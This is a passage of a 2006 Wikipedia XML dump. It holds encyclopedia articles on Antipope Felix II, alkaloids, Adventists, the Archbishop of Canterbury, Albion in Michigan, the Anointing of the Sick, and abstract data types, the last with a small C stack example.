    <title>Antipope Felix II</title>
    <id>2340</id>
    <revision>
      <id>40359776</id>
      <timestamp>2006-02-20T01:21:16Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Felix II''' is generally considered an  [[antipope]] rather than a [[pope]]. In [[356]] he was raised from the [[archdeacon]]ate of [[Rome]] to the Papal chair, when [[Pope Liberius|Liberius]] was banished by the [[Roman Emperor|emperor]] [[Constantius II|Constantius]] for refusing to subscribe the sentence of condemnation against [[Athanasius]]. Felix's election was contrary to the wishes both of the [[clergy]] and of the people, and the [[consecration]] ceremony was performed by certain [[prelates]] belonging to the court. In [[357]], at the urgent request of an influential deputation of Roman ladies, Constantius agreed to the release of Liberius on the condition that he signed the semi-[[Arianism|Arian]] [[creed]]. Constantius also issued an edict to the effect that the two bishops should rule conjointly, but Liberius, on his entrance into Rome in the following year, was received by all classes with so much enthusiasm that Felix found it necessary to retire at once from Rome.

Regarding the remainder of his life, little is known, and the accounts handed down are contradictory, but he appears to have spent the most of it in retirement at his estate near [[Porto]]. He died in [[365]], and (on what grounds it is impossible to determine) was enrolled amongst the number of [[martyr]]s, his day being [[July 22]]. In the reign of [[Pope Gregory XIII|Gregory XIII]], the claim of Felix to rank among the popes was discussed, and in order to discover whether any miraculous help was to be found to aid in the decision of the question, his [[sarcophagus]] was opened. It was said the words &quot;Pope and Martyr&quot; were found inscribed on his body, but this [[supernatural]] testimony is in contradiction to that of the earlier authorities of the [[Roman Catholic Church|Church]].

''Text from the 9th edition ([[1879]]) of an unnamed encyclopedia.''

==External links==
*[http://www.newadvent.org/cathen/06030a.htm Catholic Encyclopedia entry]

[[Category:Ancient Roman Christianity|Felix 2]]
[[Category:Antipopes|Felix 2]]
[[Category:Christian martyrs|Felix 2]]
[[Category:365 deaths|Felix 2]]

[[de:Felix II. (Gegenpapst)]]
[[fr:Félix II]]
[[it:Antipapa Felice II]]
[[hu:II. Félix ellenpápa]]
[[nl:Tegenpaus Felix II]]
[[pl:Antypapież Feliks II]]
[[pt:Antipapa Félix II]]
[[sv:Felix II]]</text>
    </revision>
  </page>
  <page>
    <title>Alkaloid</title>
    <id>2341</id>
    <revision>
      <id>39995996</id>
      <timestamp>2006-02-17T10:37:28Z</timestamp>
      <contributor>
        <username>Heathhunnicutt</username>
        <id>386638</id>
      </contributor>
      <comment>Adding link to sanguinarine</comment>
      <text xml:space="preserve">An '''alkaloid''' is a [[nitrogen|nitrogenous]] organic [[molecule]] that has a [[pharmacology|pharmacological]] effect on [[human]]s and [[animal]]s. The name derives from the word [[alkaline]]; originally, the term was used to describe any nitrogen-containing [[base (chemistry)|base]] (an [[amine]] in modern terms). Alkaloids are found as [[Secondary metabolite|secondary metabolites]] in [[plant]]s (e.g., in [[potato]]es and [[tomato]]es), animals (e.g., in [[shellfish]]) and [[fungus|fungi]], and can be extracted from their sources by treatment with [[acid]]s (usually [[hydrochloric acid]] or [[sulfuric acid]], though organic acids such as [[maleic acid]] and [[citric acid]] are sometimes used).

Usually alkaloids are derivatives of amino acids.

Even though many alkaloids are [[poison]]ous (such as [[strychnine]] or [[coniine]]), some are used in medicine as [[analgesic]]s (pain relievers) or [[anaesthetic]]s, particularly [[morphine]] and [[codeine]]. Most alkaloids have a very bitter taste.

Although formally an alkaloid, the class of [[:Category:pyrazoles|pyrazoles]] contain two [[nitrogen]] atoms in the [[aromatic]] [[ring structure]] and are not found in nature. They must be produced synthetically.

== Alkaloid classifications ==

Alkaloids are usually classified by their common molecular precursors, based on the [[metabolic pathway]] used to construct the molecule. When not much was known about the [[biosynthesis]] of alkaloids, they were grouped under the names of known compounds, even some non-nitrogenous ones (since those molecules' structures appear in the finished product; the opium alkaloids are sometimes called &quot;phenanthrenes&quot;, for example), or by the plants or animals they were isolated from. When more is learned about a certain alkaloid, the grouping is changed to reflect the new knowledge, usually taking the name of a biologically-important amine that stands out in the synthesis process.
* [[Pyrrolidine]] group: [[hygrine]], [[cuscohygrine]], [[nicotine]]

* [[Tropane]] group: [[atropine]], [[cocaine]], [[ecgonine]], [[scopolamine]]

* [[Quinoline]] group: [[quinine]], [[quinidine]], [[dihydroquinine]], [[dihydroquinidine]], [[strychnine]], [[brucine]], [[veratrine]], [[cevadine]]

* [[Isoquinoline]] group:  The [[opium]] alkaloids ([[morphine]], [[codeine]], [[thebaine]], [[heroin]], [[papaverine]], [[narcotine]], [[sanguinarine]], [[narceine]], [[hydrastine]], [[berberine]])

* [[Phenethylamine]] group: [[MDMA]], [[methamphetamine]], [[mescaline]], [[ephedrine]]

* [[Indole]] group: 
** [[Tryptamine]]s: [[dimethyltryptamine|DMT]], [[NMT_alkaloid|NMT]], [[psilocybin]], [[serotonin]], [[melatonin]]
** [[Ergoline]]s: the [[ergot]] alkaloids ([[ergine]], [[ergotamine]], [[lysergic acid]], etc.), [[LSD]]
** [[Beta-carboline]]s: [[harmine]], [[yohimbine]], [[reserpine]], [[emetine]]

* [[Purine]]  group: 
** [[Xanthine]]s: [[caffeine]], [[theobromine]], [[theophylline]]

* [[Terpenoid]] group: 
** [[Aconite]] alkaloids: [[aconitine]]
** [[Steroid]]s: [[solanine]], [[samandarin]]

* [[Betaine]]s ([[ammonium|quaternary ammonium compound]]s): [[muscarine]], [[choline]], [[neurine]]

* [[:Category:pyrazoles|Pyrazole]] group: [[pyrazole]], [[fomepizole]]
{{Commons|Alkaloid}}
[[Category:Alkaloids|?]]

[[ca:Alcaloide]]
[[cs:Alkaloid]]
[[da:Alkaloid]]
[[de:Alkaloide]]
[[es:Alcaloide]]
[[eo:Alkaloido]]
[[fr:Alcaloïde]]
[[it:Alcaloidi]]
[[lt:Alkaloidas]]
[[nl:Alkaloïde]]
[[ja:アルカロイド]]
[[nn:Alkaloid]]
[[pl:Alkaloid]]
[[pt:Alcalóide]]
[[ru:Алкалоид]]
[[sk:Alkaloid]]
[[fi:Alkaloidi]]
[[sv:Alkaloid]]
[[uk:Алкалоїди]]</text>
    </revision>
  </page>
  <page>
    <title>Adventist</title>
    <id>2343</id>
    <revision>
      <id>38178788</id>
      <timestamp>2006-02-04T19:10:13Z</timestamp>
      <contributor>
        <ip>66.67.51.231</ip>
      </contributor>
      <comment>for some reason 'dopemine' was part of this page</comment>
      <text xml:space="preserve">The term '''Adventist''' can refer to

* One who believes in the [[Second coming | Second Advent]] (usually known as the [[Second coming]]) of [[Jesus]].
   
* A member of the [[Seventh-day Adventist Church]]

* A member of one of the other Adventist&lt;!--can I get a category link here?--&gt; Churches, notably:
** [[Advent Christian Church]]
** [[Brethren | United Seventh Day Brethren]]
** [[Church of God General Conference (Abrahamic Faith)|Church of God General Conference]]
** [[Primitive Advent Christian Church]]
** [[Millerites]]
** [[United Seventh-Day Brethren]]
&lt;!-- I'm not sure that splitting out the SDAs and other adventists is NPOV- but there is a huge size differential--&gt;
{{disambig}}
[[Category:Adventist]]

[[de:Adventisten]]
[[no:Adventister]]
[[pl:Adwenty&amp;#347;ci]]</text>
    </revision>
  </page>
  <page>
    <title>Archbishop of Canterbury</title>
    <id>2345</id>
    <revision>
      <id>40305108</id>
      <timestamp>2006-02-19T18:08:37Z</timestamp>
      <contributor>
        <ip>71.64.197.166</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Archbishcantarms.PNG|thumb|right|Arms of the [[episcopal see|see]] of Canterbury]]
The '''[[Archbishop]] of [[Canterbury]]''' is the senior clergyman of the established [[Church of England]] and symbolic head of the worldwide [[Anglican Communion]]. The present incumbent is [[Rowan Williams]].

Today the archbishop fills four main roles:
*he is the diocesan [[bishop]] of the [[Diocese of Canterbury]], which covers the east of the County of [[Kent]] and extreme north-east [[Surrey]]. Founded in [[597]], it is the oldest [[episcopal see|bishopric]] in the English church.
*he is the [[metropolitan bishop|metropolitan]] of the [[Province of Canterbury]], which covers the southern two-thirds of [[England]].
*as '''[[Primate (religion)|Primate]] of All England''', he is the chief ''religious'' figure in the Church of England (the [[British monarchy | British sovereign]] is the &quot;[[Supreme governor]]&quot; of the church). Power in the church is not highly centralised, so the archbishop (along with his &quot;junior&quot; colleague the [[Archbishop of York]]) must usually lead through persuasion. He plays an important part in national ceremonies such as [[coronation of the British monarch | coronations]]; thanks to his high public profile his opinions are often in demand by the [[news media]].
*as symbolic head of the Anglican Communion, the archbishop is recognized as ''primus inter pares'' (&quot;first among equals&quot;) of all [[Anglican]] [[primate (religion)|primates]]. Since [[1867]] he has convened more or less decennial meetings of worldwide Anglican bishops, the [[Lambeth Conferences]].

The Archbishop's main residence is [[Lambeth Palace]] in the [[London Borough of Lambeth]]. He also has lodgings in the Old Palace, [[Canterbury]], located beside [[Canterbury Cathedral]], where his [[cathedra]] sits.

As holder of one of the &quot;five great sees&quot; (along with those of [[Archbishop of York|York]], [[Bishop of London|London]], [[Bishop of Durham|Durham]] and [[Bishop of Winchester|Winchester]]), the Archbishop of Canterbury is ''ex officio'' one of the [[Lords Spiritual]] of the [[House of Lords]]. He is one of the highest-ranking men in England, ranking directly below the Royal Family.

Since [[Henry VIII of England|Henry VIII]] broke with [[Rome]] the Archbishops of Canterbury have been selected by the English (latterly British) monarch.  Today the choice is made in the name of the Sovereign by the prime minister, from a shortlist of two selected by an ad-hoc committee called the [[Crown Nominations Commission]].

As the current archbishop, the Right Honourable and Most Reverend '''[[Rowan Williams|Dr Rowan Douglas Williams]]''', the 104th '''Lord Archbishop of Canterbury and Primate of All England''' was enthroned at Canterbury Cathedral on [[27 February]] [[2003]]; he signs himself ''Rowan Cantuar''. He was previously [[Archbishop of Wales]] and [[Bishop of Monmouth]].

==Origins==

Records suggest that the Roman Britons had three Archbishops, seated in [[London]], [[York]], and [[Caerleon]], an ancient city of South Wales. However, in the fifth and sixth centuries the country was overrun by the pagan [[Anglo-Saxon]]s. Of the kingdoms they set up there, [[Kingdom of Kent | Kent]] had the closest ties to European trade and culture.

The first Archbishop of Canterbury was Saint [[Augustine of Canterbury|Augustine]] who arrived in [[Kent]] in [[597]], sent by [[Pope]] [[Gregory the Great]] to mission to the English. He was accepted by King [[Ethelbert of Kent|Ethelbert]], on his conversion to Christianity, about the year [[598]].  Since then the Archbishops of Canterbury have been referred to as occupying the Chair of St [[Augustine of Canterbury|Augustine]]. 

Before the break with Papal authority in the [[16th Century]], the Church of England was an integral part of the worldwide [[Roman Catholic Church]]. The present Church of England, an established national church, still considers itself part of the broader Western Catholic tradition as well as being the &quot;mother church&quot;  of the worldwide Anglican Communion.

== Province and Diocese==
{{Anglicanism}}
The Archbishop of Canterbury exercises metropolitical (or supervisory) jurisdiction over the [[Province of Canterbury]], which encompasses thirty of the forty-four dioceses of the Church of England.  (The remaining fourteen dioceses, in northern England, fall within the Province of York.)  Formerly, the four dioceses of Wales were also under the Province of Canterbury; in [[1920]], however, the Welsh dioceses transferred from the established Church of England to the disestablished [[Church in Wales]].

The Archbishop of Canterbury has a ceremonial provincial ''curia'', or court, consisting of some of the senior bishops of his province.  The Bishop of London&amp;mdash;the most senior cleric of the Church with the exception of the two Archbishops&amp;mdash;serves as Canterbury's Provincial Dean, the Bishop of Winchester as Chancellor, the [[Bishop of Lincoln]] as Vice-Chancellor, the [[Bishop of Salisbury]] as Precentor, the [[Bishop of Worcestor]] as Chaplain and the [[Bishop of Rochester]] as Cross-Bearer.

The question of whether the Archbishop of Canterbury or the Archbishop of York should take precedence was once a cause of a long struggle.  The dispute was temporarily resolved in [[1071]] after [[Lanfranc]], Archbishop of Canterbury, and [[Thomas I of York|Thomas of Bayeux]], Archbishop of York, submitted the matter to the [[Pope]].  [[Pope Alexander II]] decided that Canterbury was to have precedence, and that future Archbishops of York would have to be consecrated by, and swear allegiance to, the Archbishop of Canterbury. 

In [[1119]], however, the Archbishop-Elect of York, [[Thurstan]], refused to acknowledge the pre-eminence of Canterbury.  As a consequence, the Archbishop of Canterbury, [[Ralph d'Escures]], refused to consecrate him.  When Thurstan appealed to Rome, [[Pope Callixtus II]] not only personally consecrated him, but also issued a [[papal bull]] repudiating the supremacy of Canterbury.  The matter was finally settled by [[Pope Innocent VI]] during the fourteenth century.  Under Pope Innocent's arrangement, which lasts to this day, the Archbishop of Canterbury would be recognised as superior to the Archbishop of York.  The former would be acknowledged as &quot;Primate of All England&quot;, and the latter as &quot;Primate of England&quot;.  The pre-eminence of the Archbishop of Canterbury is acknowledged by an Act of Parliament passed during the reign of Henry VIII.

The Archbishop of Canterbury also has a precedence of honour over the other archbishops of the Anglican Communion.  He is recognised as ''primus inter pares'', or first amongst equals.  The Archbishop of Canterbury, however, does not exercise any direct authority in the provinces outside England.

The Archbishop at the present time has four suffragan bishops. One of these, the [[Suffragan Bishop of Dover]], is given the additional title of &quot;Bishop in Canterbury&quot; and empowered to act almost as if he were the diocesan bishop of the  [[Diocese of Canterbury]], since the Archbishop is so frequently away fulfillfilling national and international duties. The Suffragan Bishop of Maidstone is a second assistant working in the diocese. The suffragan bishops of Ebbsfleet and Richborough, on the other hand, are [[provincial episcopal visitor]]s for the whole Province of Canterbury, licensed by the Archbishop as &quot;flying bishops&quot; to visit parishes throughout the province who are uncomfortable with the ministrations of their local bishop who has participated in the ordination of women.

== Style and privileges ==
Both the Archbishops of Canterbury and York are styled &quot;The Most Reverend&quot;; retired Archbishops as &quot;The Right Reverend&quot;. Archbishops are, by convention, appointed to the [[Privy Council of the United Kingdom|Privy Council]], and may therefore also use &quot;[[The Right Honourable]]&quot; for life (unless they are later removed from the Council). In formal documents, the Archbishop of Canterbury is referred to as &quot;The Most Reverend Father in God, [[Forenames]], by Divine Providence Lord Archbishop of Canterbury, Primate of All England and Metropolitan&quot;. In debates in the House of Lords, the Archbishop is referred to as &quot;The Most Reverend Primate, the Archbishop of Canterbury&quot;. &quot;The Right Honourable&quot; is not used in either instance. He may also be formally  addressed as &quot;Your Grace&quot; - or, more often these days, simply as &quot;Archbishop&quot;, &quot;Father&quot; or (in the current instance) &quot;Dr Williams&quot;.

The surname of the Archbishop of Canterbury is not used in formal documents; only the forenames and see are mentioned.  The Archbishop is legally permitted to sign his name as &quot;Cantuar&quot; (from the [[Latin]] for Canterbury).  He shares the right to use only a title in the signature with the Archbishop of York, other bishops, and Peers of the Realm.

In the [[United Kingdom order of precedence|order of precedence]], the Archbishop of Canterbury is ranked above all individuals in the realm, with the exception of the Sovereign and members of the Royal Family. Immediately below him is the [[Lord Chancellor]], and then the Archbishop of York.

The Archbishop of Canterbury's official residence in London is [[Lambeth Palace]]. Until the [[19th century]], the Archbishops also had major residences at [[Croydon Palace]] and [[Addington Palace]]. There are also the ruins of a Palace at [[Otford]].

The following Archbishops have died at Lambeth: Wittlesey, in 1375; Kemp, 1453; Dean, 1504; all buried in Canterbury Cathedral: Cardinal Pole, the last Catholic archbishop, 1558, after lying in state here 40 days was buried at Canterbury; Parker, 1575, buried in Lambeth Chapel; Whitgift, 1604, buried at Croydon; Bancroft, 1610, buried at Lambeth; Juxon, 1663, buried in the chapel of St. John's College, Oxford; Sheldon, 1667, buried at Croydon; Tillotson, 1694, buried in the church of St. Laurence Jewry, London; Tennison, 1715; and Potter, 1747, both buried at Croydon; Seeker, 1768; Cornwallis, 1783, and Moore, 1805, all buried at Lambeth. Of the medi&amp;aelig;val archbishops, in 1381 Simon of Sudbury fell a victim to [[Wat Tyler]] and his followers when they attacked Lambeth Palace.

{{Template:Anglican Bishops &amp; Archbishops - Great Britain}}

== See also ==
*[[List of Archbishops of Canterbury]]
*[[Religion in the United Kingdom]]

== External links ==
* [http://www.archbishopofcanterbury.org/ Official web site]


{{Anglican Churches}}

[[Category:Church of England]]
[[Category:Anglicanism]]
[[Category:Anglican archbishops by diocese|Canterbury]]
[[Category:Christian leaders]]
[[Category:Religion in Kent]]
[[Category:Religion in the United Kingdom]]
[[Category:Canterbury]]

[[de:Erzbischof von Canterbury]]
[[fr:Archevêque de Cantorbéry]]
[[gl:Arcebispo de Canterbury]]
[[ko:캔터베리 대주교]]
[[ja:カンタベリー大主教]]
[[no:Canterbury erkebispedømme]]
[[pt:Arcebispo de Canterbury]]
[[simple:Archbishop of Canterbury]]
[[sv:Ärkebiskop av Canterbury]]
[[zh:坎特伯里大主教]]</text>
    </revision>
  </page>
  <page>
    <title>Albion, Michigan</title>
    <id>2346</id>
    <revision>
      <id>28267745</id>
      <timestamp>2005-11-14T04:19:39Z</timestamp>
      <contributor>
        <ip>147.124.51.136</ip>
      </contributor>
      <text xml:space="preserve">'''Albion''' is a city located in [[Calhoun County, Michigan|Calhoun County]] in the south central region of [[Michigan]]. From the time that the earliest [[English language|English]]-speaking settlers arrived, the area has also been known as '''The Forks''', because it is situated at the confluence of the north and south branches of the [[Kalamazoo River]]. The ''Festival of the Forks'' has been celebrated annually since [[1967]], celebrating Albion's ethnic heritage.

The presence of several major manufacturers through its history has given Albion the reputation of a factory town, though the presence of several major educational institutions has given small town Albion an intellectual character. [[Albion College]] is a nationally renowned private liberal arts college with a student population of about 1,950. Albion is [[Sister city]] to [[Noisy-le-Roi]], France.

==History==

The first white settler, [[Tenney Peabody]], arrived in [[1833]]. 
As local legend goes, Peabody's wife decided to name the city after [[Albion, Oswego County, New York]] where another prominent pioneer, [[Jesse Crowell]], came from. The city was almost named ''Peabodyville'', but Albion was the preferred choice.

Crowell arrived in [[1835]] and established the Albion Company to lay out the plan for the village and to sell property to other pioneers as they arrived. He became the first postmaster in [[1838]]. Albion incorporated as a village in [[1855]] and as a city in [[1885]]. 

In 1835, [[Methodist Episcopal Church|Methodist Episcopal]] settlers established Albion College, which was known by a few other names before 1861 when the college was fully authorized to confer four-year degrees on both men and women. The first classes were held in Albion in [[1843]].

The forks of the Kalamazoo River provided power for [[Watermill|mills]] and Albion quickly became a mill town as well as an agricultural market. A railroad line arrived in [[1852]], fostering the development of other industries. 

Albion was named an [[All-America City Award|All-America City]] in [[1973]] by the [[National Civic League]]. It celebrated winning the award on [[May 15]], [[1974]] when the Governor of Michigan, [[William Milliken]], and many dignitaries came to town. However, in [[1975]] the closure of a major factory cut the celebration short and new challenges were created overnight. 

Since that time citizens have mobilized, with support from the Albion Community Foundation founded in [[1968]], and the Albion Volunteer Service Organization founded in the 1980s with support from Albion College to address the challenge of diminishing economic opportunity.

== Law and government ==

Albion has a [[Council-manager government|Council-Manager]] form of government. City residents elect a Mayor and City Council members from six districts. The council in turn selects a City Manager to handle day-to-day affairs of the city.  The mayor presides over and is a voting member of the council. Council members are elected to four-year terms, staggered every two years. A mayor is elected every two years.

== Geography ==
[[Image:MIMap-doton-Albion.PNG|right|Location of Albion, Michigan]]
According to the [[United States Census Bureau]], the city has a total area of 11.7 [[square kilometre|km&amp;sup2;]] (4.5 [[square mile|mi&amp;sup2;]]).  11.6 km&amp;sup2; (4.5 mi&amp;sup2;) of it is land and 0.1 km&amp;sup2; (0.04 mi&amp;sup2;) of it is water.  The total area is 0.89% water. Albion is positioned 42.24 degrees north of the equator and 84.75 degrees west of the prime meridian.

== Demographics ==
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of [[2000]], there are 9,144 people, 3,252 households, and 2,061 families residing in the city.  The [[population density]] is 791.6/km&amp;sup2; (2,050.2/mi&amp;sup2;).  There are 3,591 housing units at an average density of 310.9/km&amp;sup2; (805.1/mi&amp;sup2;).  The racial makeup of the city is 61.05% [[White (U.S. Census)|White]], 33.22% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.36% [[Native American (U.S. Census)|Native American]], 0.69% [[Asian (U.S. Census)|Asian]], 1.61% from [[Race (U.S. Census)|other races]], and 3.07% from two or more races.  4.55% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 3,252 households out of which 31.4% have children under the age of 18 living with them, 38.0% are [[Marriage|married couples]] living together, 21.8% have a female householder with no husband present, and 36.6% are non-families. 31.9% of all households are made up of individuals and 13.6% have someone living alone who is 65 years of age or older.  The average household size is 2.44 and the average family size is 3.07.

In the city the population is spread out with 25.8% under the age of 18, 19.7% from 18 to 24, 23.0% from 25 to 44, 18.2% from 45 to 64, and 13.4% who are 65 years of age or older.  The median age is 29 years.  For every 100 females there are 83.0 males.  For every 100 females age 18 and over, there are 76.2 males.

The median income for a household in the city is $30,245, and the median income for a family is $37,399. Males have a median income of $35,956 versus $22,975 for females. The [[per capita income]] for the city is $14,165.  20.0% of the population and 15.0% of families are below the [[poverty line]].  Out of the total population, 27.6% of those under the age of 18 and 13.9% of those 65 and older are living below the poverty line.

==See also==
* [[U.S. Highway 12|Old U.S. 12]]

== External links ==
* [http://www.albionmich.com/ Albion Michigan Home Page]
* [http://www.albionmich.com/history/histor_notebook/TOCsubj.htm Historical Albion Michigan]
* [http://www.ci.albion.mi.us/ City of Albion]
* [http://www.albionenews.com/ Albion E-News]
* [http://www.forks.org/ Albion E-Directory]
{{Mapit-US-cityscale|42.2464|-84.7569}}

[[Category:All-America City]]
[[Category:Calhoun County, Michigan]]
[[Category:Cities in Michigan]]</text>
    </revision>
  </page>
  <page>
    <title>Anointing of the Sick</title>
    <id>2348</id>
    <revision>
      <id>35490047</id>
      <timestamp>2006-01-17T03:00:49Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">'''Anointing of the Sick''' is one of the [[sacrament]]s of the [[Roman Catholic Church]], the [[Eastern Orthodox Church]], and the [[Oriental Orthodoxy|Oriental Orthodox Churches]], and is also administered in some [[Protestantism|Protestant]] Churches. [[Anglicans]] are divided on the issue, as many consider it a sacrament, but the rest agree that it is at least a [[sacramentals|sacramental]].

Apart from the use of one or other of the synonyms &quot;anointing&quot; and &quot;unction&quot;, the sacrament, in which a priest anoints a seriously sick person with oil blessed specifically for that purpose, has also been known as the holy oil of the sick, the unction or blessing of consecrated oil, the unction of God, the office of the unction, and so on. The ([[Greek language|Greek]] name is {{polytonic|Εὐχέλαιον}} (Euchelaion), derived from {{polytonic|εὐχή}} (prayer) and {{polytonic|ἔλαιον}} (oil).

In past centuries, when the sacrament was in fact conferred only on those in ''immediate'' danger of [[death]], it came to be known in the West as &quot;Extreme Unction&quot;, i.e. &quot;Final Anointing&quot;. It was then conferred only as one of the &quot;Last Rites&quot;. The other &quot;Last Rites&quot; are Confession (if the dying person is physically unable to confess, at least absolution, conditional on the existence of contrition, is given), and the [[Eucharist]], which when administered to the dying is known as &quot;[[Viaticum]]&quot;, a word whose original meaning in [[Latin language|Latin]] was &quot;provision for a journey&quot;. The normal order of administration, unless there is imminent danger of death, is first Confession, then Anointing, then Viaticum.

The chief [[Bible|Biblical]] text for anointing of the sick is the [[Epistle of James]]:
:''Are any among you sick? They should call for the elders of the church and have them pray over them, anointing them with oil in the name of the Lord.  And their prayer offered in faith will heal the sick, and the Lord will make them well. And anyone who has committed sins will be forgiven.''
:::::James 5:14-15

The Catholic Church sees the effects of the sacrament as follows. As the sacrament of Marriage gives grace for the married state, the sacrament of Anointing of the Sick gives grace for the state into which people enter through sickness. Through the sacrament is given a gift of the Holy Spirit that renews confidence and faith in God and strengthens against temptations to discouragement and anguish at the thought of death. It thus leads to spiritual healing and, sometimes, bodily healing as well.

The 2004 dictionary of the Greek language by George D. Babiniotis ({{polytonic|Γεώργιος Δ. Μπαμπινιώτης}}) states that this sacrament of the Greek Orthodox Church &quot;is customary in cases of sickness or when someone thinks he is having ill luck.&quot;

==Form==
In the Catholic Church, the special olive oil used (Oil of the Sick) is blessed by the bishop of the diocese at the Chrism Mass he celebrates on [[Holy Thursday]] or on a day close to it.  However, in case of necessity, the priest administering the sacrament may bless the oil within the framework of the celebration. The Eastern Orthodox Church follows a similar discipline.

In Protestant Churches and in the [[Church of Jesus Christ of Latter-day Saints]], any [[elder (religious)|elder]] or minister may consecrate the oil they use for anointing the sick.

Anointing of the Sick can be administered on an individual basis according to the individual person's needs, at home or in a hospital, usually (in the case of Catholics) in connection with Confession and administration of Holy Communion. It can also be given to a group: Catholic [[parish]]es often offer a communal Anointing of the Sick once or twice a year, usually within celebration of [[Mass (liturgy)|Mass]].

In the Latin Catholic Church, the priest anoints the sick person's forehead with oil (usually in the form of a cross), saying: &quot;Through this holy anointing may the Lord in his love and mercy help you with the grace of the Holy Spirit.&quot; He then anoints the hands, while saying, &quot;May the Lord who frees you from sin save you and raise you up.&quot; He may also, in accordance with local culture and traditions and the needs of the sick person, anoint other parts of the body, but without repeating the sacramental formula. Anointing other parts of the body was obligatory in the Western Church before the [[Second Vatican Council]] (when the sacramental form was &quot;Through this holy anointing, may the Lord pardon you whatever sins you have committed&quot;), and still is in the Eastern Churches. The full form of the Eastern Christian anointing requires the presence of seven priests, though this is rarely the case today.

Some Protestant churches, especially [[Evangelicalism|Evangelicals]], [[Charismatic]]s, and [[Pentecostalism|Pentecostals]] perform Anointing of the Sick in a form usually very different from Catholic and Orthodox practice, drawing inspiration directly from the James passage quoted above. Generally (but not necessarily) a [[Clergy|minister]] performs the rite, with no set formula, and the sick person is prayed for. The ritual is not associated with nearness to death, and there is not necessarily any reference to forgiveness of sins. Catholic theology requires that administration of the sacrament be by a validly ordained priest, and thus holds that the rite in question, though helpful, like any prayer, for the sick person, is not a valid sacrament or channel of grace.

== External links ==
*[http://www.americancatholic.org/Features/Sacraments/Anointing.asp Sacrament of the Anointing of the Sick]
* [http://www.newadvent.org/cathen/05716a.htm &quot;Extreme Unction&quot; (Catholic encyclopaedia)]

[[Category:Christian liturgy, rites, and worship services]]
[[Category:Sacraments]]
[[Category:Latter Day Saint ordinances, rituals, and symbolism]]

{{catholic}}

[[cs:Svátost nemocných]]
[[de:Krankensalbung]]
[[es:Unción de los enfermos]]
[[nl:Ziekenzalving]]
[[no:Sykesalving]]
[[pl:Namaszczenie chorych]]
[[sk:Pomazanie chorých]]
[[fi:Sairaiden voitelu]]
[[sv:De sjukas smörjelse]]
[[zh:病人傅油聖事]]</text>
    </revision>
  </page>
  <page>
    <title>Abstract data type</title>
    <id>2349</id>
    <revision>
      <id>33138803</id>
      <timestamp>2005-12-29T17:10:48Z</timestamp>
      <contributor>
        <username>A5b</username>
        <id>722418</id>
      </contributor>
      <minor />
      <comment>link to ru:~</comment>
      <text xml:space="preserve">{{cleanup-date|September 2005}}

In [[computer science]], an '''abstract data type (ADT)''' is a mathematical specification of a set of data and the set of operations that can be performed on the data.  Such a data type is abstract in the sense that the focus is on the definitions of the constructor that returns an abstract handle that represents the data, and the various operations with their arguments.  The actual implementation is not defined, and does not affect the use of the abstract data type.

==Examples==
ADTs typically seen in textbooks and implemented in programming languages (or their libraries) include:
*[[String (computer science)|String]]
*[[List]]
*[[Stack (computing)|Stack]]
*[[Queue]]
*[[Binary search tree]]
*[[Priority queue]]
*[[Complex number]]

==Separation of interface and implementation==
When realized in a computer program, the ADT is represented by an interface, which shields a corresponding implementation.  Users of an ADT are concerned with the interface, but not the implementation, as the implementation can change in the future.  (This supports the principle of [[information hiding]], or protecting the program from design decisions that are subject to change.)

The strength of an ADT is that the implementation is hidden from the user.  Only the interface is published.  This means that the ADT can be implemented in various ways, but as long as it adheres to the interface, user programs are unaffected.

There is a distinction, although sometimes subtle, between the abstract data type and the data structure used in its implementation.  For example, a List ADT can be represented using an array-based implementation or a linked-list implementation.  A List is an abstract data type with well-defined operations (add element, remove element, etc.) while a linked-list is a pointer-based data structure that can be used to create a representation of a List.  The linked-list implementation is so commonly used to represent a List ADT that the terms are interchanged and understood in common use.

Similarly, a Binary Search Tree ADT can be represented in several ways: binary tree, AVL tree, red-black tree, array, etc.  Regardless of the implementation, the Binary Search Tree always has the same operations (insert, remove, find, etc.)

==Built-in abstract data types==
Because some ADTs are so common and useful in computer programs, some programming languages are building implementations of ADTs into the language as native types or adding them into their standard libraries.  For instance, Perl arrays can be thought of as an implementation of the List or Deque ADTs and Perl hashes can be thought of in terms of Map or Table ADTs.  The C++ Standard Library and Java libraries provides classes that implement the List, Stack, Queue, Map, Priority Queue, and String ADTs.
 
==Concrete examples==
===Rational numbers as an abstract data type===
For example, [[rational number]]s (numbers that can be written in the form a/b where a and b are integers) cannot be represented natively in a computer.  A Rational ADT could be defined as shown below.

Construction: Create an instance of a rational number ADT using two integers, a and b, where a represents the numerator and b represents the denominator.

Operations: addition, subtraction, multiplication, division, exponentiation, comparison, simplify, conversion to a real (floating point) number.

To be a complete specification, each operation should be defined in terms of the data.  For example, when multiplying two rational numbers a/b and c/d, the result is defined as ac/bd.  Typically, inputs, outputs, preconditions, postconditions, and assumptions to the ADT are specified as well.

===Stack===
====Interface====
In a more concrete example, written in C-style notation, the interface for a [[Stack (computing) | Stack]] ADT might be:

 long stack_create(); /* create new instance of a stack */
 void stack_push(long stack, void *item); /* push an item on the stack */
 void *stack_pop(long stack); /* get item from top of stack */
 void stack_delete(long stack); /* delete the stack */

====Usage====
This ADT could be used in the following manner:

 long stack;
 struct foo *f;
 
 stack = stack_create(); /* create a stack */
 
 stack_push(stack, f); /* add foo structure to stack */
 
 f = stack_pop(stack); /* get top structure from stack */

====Implementation variants====
The above stack ADT could be initially implemented using an array, and then later changed to a linked list, without affecting any user code.

The number of ways a given ADT can be implemented depends on the programming language.  For example, the above example could be written in C using a struct and an accompanying set of data structures using arrays or linked lists to store the entries; however, since the constructor function returns an abstract handle, the actual implementation is hidden from the user.  In object-oriented languages such as C++ and Java, ADTs are typically represented using the class construct where the data is represented by data members (attributes) and the operations are represented by member functions (methods).  In addition, some languages such as C++ and Java provide a mechanism of enforcement (the private or protected keywords) to only allow the defined functions to operate on the data.  When using object-oriented ADTs, the user can often expand the ADT by creating a subclass of the ADT.

[[Category:Type theory]]

[[cs:Abstraktní datový typ]]
[[de:Abstrakter Datentyp]]
[[es:Tipo de dato abstracto]]
